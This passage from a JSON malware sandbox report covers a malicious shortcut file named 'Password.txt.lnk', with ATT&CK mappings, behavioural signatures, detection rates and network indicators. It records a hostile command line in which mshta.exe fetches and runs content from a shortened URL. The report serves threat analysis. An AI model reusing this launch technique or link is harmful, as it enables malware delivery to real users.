Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"type":"informative","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Accesses Software Policy Settings"}],"sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"informative","value":"Queries volume information"}],"sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically get system version information"},{"type":"informative","value":"Contains ability to read software policies"}],"sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Tries to access non-existent files"},{"type":"informative","value":"Touches files in program files directory"}],"sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found user-agent related strings"}],"sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"mshta.exe\" at 00000000-00003456-00000105-26486491","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"\"mshta.exe\" queried SystemProcessInformation at 00000000-00003456-00000105-1295717\n \"mshta.exe\" queried SystemProcessInformation at 00000000-00003456-00000105-1839706\n \"mshta.exe\" queried SystemProcessInformation at 00000000-00003456-00000105-24636214","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"$24","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"mshta.exe\" is protecting 8192 bytes with PAGE_GUARD access rights","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically get system version information","description":"\"mshta.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00003456)\n \"mshta.exe\" called \"RtlGetVersion\" (UID: 00000000-00003456)","origin":"API Call","mitre_attack_id":"T1082","relevance":5,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"mshta.exe\" called \"RtlGetNtProductType\" with parameter (UID: 00000000-00003456)\n \"mshta.exe\" called \"RtlGetNtProductType\" (UID: 00000000-00003456)","origin":"API Call","mitre_attack_id":"T1082","relevance":5,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"mshta.exe\" queries volume information of \"%WINDIR%\\Fonts\\micross.ttf\" at 00000000-00003456-0000010C-5401172\n \"mshta.exe\" queries volume information of \"%WINDIR%\\Fonts\\micross.ttf\" at 00000000-00003456-0000010C-5447508\n \"mshta.exe\" queries volume information of \"%WINDIR%\\Fonts\\arial.ttf\" at 00000000-00003456-0000010C-5474975\n \"mshta.exe\" queries volume information of \"%WINDIR%\\Fonts\\arialbd.ttf\" at 00000000-00003456-0000010C-5492521\n \"mshta.exe\" queries volume information of \"%WINDIR%\\Fonts\\wingding.ttf\" at 00000000-00003456-0000010C-5524661\n \"mshta.exe\" queries volume information of \"%WINDIR%\\Fonts\\wingding.ttf\" at 00000000-00003456-0000010C-5533363","origin":"API Call","mitre_attack_id":"T1120","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\"; Key: \"PATH\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$25","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$26","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"mshta.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\(UID: 00000000-00003456)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\Microsoft\\Windows\\Cookies (UID: 00000000-00003456)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\qY5EuEM\\AppData\\Local\\Microsoft\\Windows\\History (UID: 00000000-00003456)","origin":"API Call","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"67.199.248.11:443\"\n \"18.160.185.94:443\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex\"\n \"Local\\MSIMGSIZECacheMutex\"\n \"!IECompat!Mutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\MSIMGSIZECacheMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"53B03BEE40C746E8FC70731BA2B6902C0FA65CEA_1_.svg\" as clean (type is \"SVG Scalable Vector Graphics image\")\n Antivirus vendors marked dropped file \"ED4B4B67839C89883DD0BCD462FDA54E96FB79ED_1_.svg\" as clean (type is \"SVG Scalable Vector Graphics image\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"General","name":"Found API related strings","description":"\"target=\"_blank\" rel=\"noopener noreferrer\"\" (Indicator: \"open\")\n \"ThemeApiConnectionRequest\" (Indicator: \"ThemeApiConnectionRequest\")","origin":"File/Memory","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\" (Indicator: \"mozilla/4.0 (\")\n \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;\" (Indicator: \"mozilla/4.0 (\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$27","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"bit.ly\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"General","name":"References url in command line","description":"Process \"mshta.exe\" with commandline \"https://bit.ly/3VOA5fd\" (UID: 00000000-00003456)","origin":"Monitored Target","id":"target-174","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"mshta.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"53B03BEE40C746E8FC70731BA2B6902C0FA65CEA_1_.svg\" has type \"SVG Scalable Vector Graphics image\"- [targetUID: 00000000-00003456]\n \"ED4B4B67839C89883DD0BCD462FDA54E96FB79ED_1_.svg\" has type \"SVG Scalable Vector Graphics image\"- [targetUID: 00000000-00003456]\n \"QDD7DRNH.txt\" has type \"ASCII text\"- Location: [%APPDATA%\\Microsoft\\Windows\\Cookies\\QDD7DRNH.txt]- [targetUID: 00000000-00003456]\n \"3VOA5fd_1_.htm\" has type \"HTML document ASCII text\"- [targetUID: 00000000-00003456]\n \"urlref_httpsbit.ly3VOA5fd\" has type \"HTML document ASCII text\"- [targetUID: 00000000-00003456]","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"$28","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$29","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"https://d1ayxb9ooonjts.cloudfront.net/d/C88681CBA60CE9321C6FD2FD8DC97555992FA1A3.png\"\n Pattern match: \"https://bitly.com/\"\n Pattern match: \"https://d1ayxb9ooonjts.cloudfront.net/d/ED4B4B67839C89883DD0BCD462FDA54E96FB79ED.svg\"\n Pattern match: \"https://docs.google.com/forms/d/e/1FAIpQLSczQXuQ-l1jv8yQETGyw7BYoi-k_8CRKVOqywntj4AykJgpvA/viewform\"\n Heuristic match: \"bit.ly\"\n Pattern match: \"https://bit.ly/3VOA5fd\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"\"HTTPS traffic to 67.199.248.11 on port 443\"\n \"HTTPS traffic to 18.160.185.94 on port 443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"mshta.exe\" called \"CreateCompatibleBitmap\" (UID: 00000000-00003456)","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for keylogging","description":"\"mshta.exe\" called \"GetKeyState\"","origin":"API Call","mitre_attack_id":"T1056.001","relevance":10,"id":"api-40","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"mshta.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00003456)","origin":"API Call","mitre_attack_id":"T1057","relevance":5,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"mshta.exe\" called \"GetNativeSystemInfo\" (UID: 00000000-00003456)","origin":"API Call","mitre_attack_id":"T1082","relevance":5,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"\"mshta.exe\" called \"FindNextFileW\" (UID: 00000000-00003456)\n \"mshta.exe\" called \"FindFirstFileW\" (UID: 00000000-00003456)","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Touches files in program files directory","description":"\"mshta.exe\" trying to touch file \"%PROGRAMFILES%\\Microsoft Office\\Office14\\OUTLLIB.DLL\"\n \"mshta.exe\" trying to touch file \"%PROGRAMFILES%\\Microsoft Office\\Office14\\OUTLLIB.DLL.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Tries to access non-existent files","description":"$2b","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"mshta.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"System Security","name":"Hooks API calls","description":"\"ShellExecuteW@SHELL32.DLL\" in \"mshta.exe\"\n \"InternetOpenW@WININET.DLL\" in \"mshta.exe\"\n \"GetIpNetTable@IPHLPAPI.DLL\" in \"mshta.exe\"\n \"URLDownloadToFileA@URLMON.DLL\" in \"mshta.exe\"\n \"HttpOpenRequestW@WININET.DLL\" in \"mshta.exe\"\n \"InternetOpenA@WININET.DLL\" in \"mshta.exe\"\n \"URLDownloadToFileW@URLMON.DLL\" in \"mshta.exe\"\n \"HttpOpenRequestA@WININET.DLL\" in \"mshta.exe\"\n \"ShellExecuteA@SHELL32.DLL\" in \"mshta.exe\"\n \"InternetReadFile@WININET.DLL\" in \"mshta.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"System Security","name":"Modifies Software Policy Settings","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"System Security","name":"Modifies proxy settings","description":"\"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"mshta.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"mshta.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"QDD7DRNH.txt\" - Location: [%APPDATA%\\Microsoft\\Windows\\Cookies\\QDD7DRNH.txt]- [targetUID: 00000000-00003456]","origin":"Binary File","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2d","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"3/91 reputation engines marked \"https://bit.ly/3voa5fd\" as malicious (3% detection rate)\n 3/91 reputation engines marked \"https://bit.ly\" as malicious (3% detection rate)\n 3/91 reputation engines marked \"http://bit.ly\" as malicious (3% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"27/62 Antivirus vendors marked sample as malicious (43% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 67.199.248.11 on port 443 is sent without HTTP header\n TCP traffic to 18.160.185.94 on port 443 is sent without HTTP header","origin":"Network Traffic","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Hooks internet related APIs","description":"\"InternetOpenW@WININET.DLL\" in \"mshta.exe\"\n \"HttpOpenRequestW@WININET.DLL\" in \"mshta.exe\"\n \"InternetOpenA@WININET.DLL\" in \"mshta.exe\"\n \"HttpOpenRequestA@WININET.DLL\" in \"mshta.exe\"\n \"InternetReadFile@WININET.DLL\" in \"mshta.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-5","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"27/62 Antivirus vendors marked sample as malicious (43% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"level":"malicious","category":"Unusual Characteristics","name":"PDF file referenced an URL that was taken down due to TOS violation","description":"\"Warning! | There might be a problem with the requested link\" (Indicator: \"there might be a problem with the requested link\"; Context: \"https://bit.ly/3VOA5fd\")","origin":"File/Memory","relevance":10,"id":"string-26","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]}],"incidents":[{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":8,"imported_dlls_count":89,"dropped_files_count":0,"extracted_files_count":5,"files_written_count":13,"files_deleted_count":0,"registry_keys_created_count":34,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":34,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":1,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":null,"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6389ec1f327cc91d633aed41","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Heur.BZC.YAX.Nioc.1","contacted_countries":["USA"],"submit_name":"Password.txt.lnk","analysis_start_time":"2022-12-02T12:14:24+00:00","indicators_count":{"informative":47,"suspicious":4,"malicious":3},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"6387b0060a2aad7a973def0c","environment_id":120,"environment_description":"Windows 7 64 bit","state":"IN_PROGRESS","verdict":"undetected","submit_name":"Password.txt.lnk","analysis_start_time":"2022-11-30T19:33:26+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false}],"network_activity":{"contacted_hosts":[{"address":"67.199.248.11","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"address":"18.160.185.94","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]}],"dns_resolutions":[{"domain":"bit.ly","address":"67.199.248.11","ttl":66,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}],"processes":[{"pid":3456,"ppid":0,"name":"mshta.exe","command_line":"https://bit.ly/3VOA5fd","sha256":"949485ba939953642714ae6831d7dcb261691cac7cbb8c1a9220333801f60820","normalized_path":"%WINDIR%\\System32\\mshta.exe","uid":"00000000-00003456","icon":"$2f"}],"all_imported_dlls":["ole32.dll","uxtheme.dll","WSHTCPIP.DLL","ntdll.dll","shlwapi.dll","comctl32.dll","mswsock.dll","advapi32.dll","oleaut32.dll","nlaapi.dll","api-ms-win-downlevel-user32-l1-1-0.dll","rasadhlp.dll","mlang.dll","userenv.dll","ws2_32.dll","d3d10warp.dll","wship6.dll","dnsapi.dll","rsaenh.dll","credssp.dll","secur32.dll","oleacc.dll","profapi.dll","lpk.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","msasn1.dll","devobj.dll","KernelBase.dll","sechost.dll","gdi32.dll","sspicli.dll","bcryptprimitives.dll","wintrust.dll","d3d11.dll","api-ms-win-downlevel-version-l1-1-0.dll","msctf.dll","oleaccrc.dll","WindowsCodecs.dll","mshtml.dll","RpcRtRemote.dll","winnsi.dll","DWrite.dll","winhttp.dll","d2d1.dll","cryptsp.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","shell32.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","schannel.dll","npmproxy.dll","setupapi.dll","normaliz.dll","cryptbase.dll","fltLib.dll","dxgi.dll","dhcpcsvc6.dll","rpcrt4.dll","version.dll","usp10.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","cfgmgr32.dll","kernel32.dll","iertutil.dll","user32.dll","nsi.dll","urlmon.dll","dwmapi.dll","clbcatq.dll","webio.dll","crypt32.dll","ieframe.dll","FWPUCLNT.DLL","msimtf.dll","wshqos.dll","msls31.dll","netprofm.dll","api-ms-win-downlevel-normaliz-l1-1-0.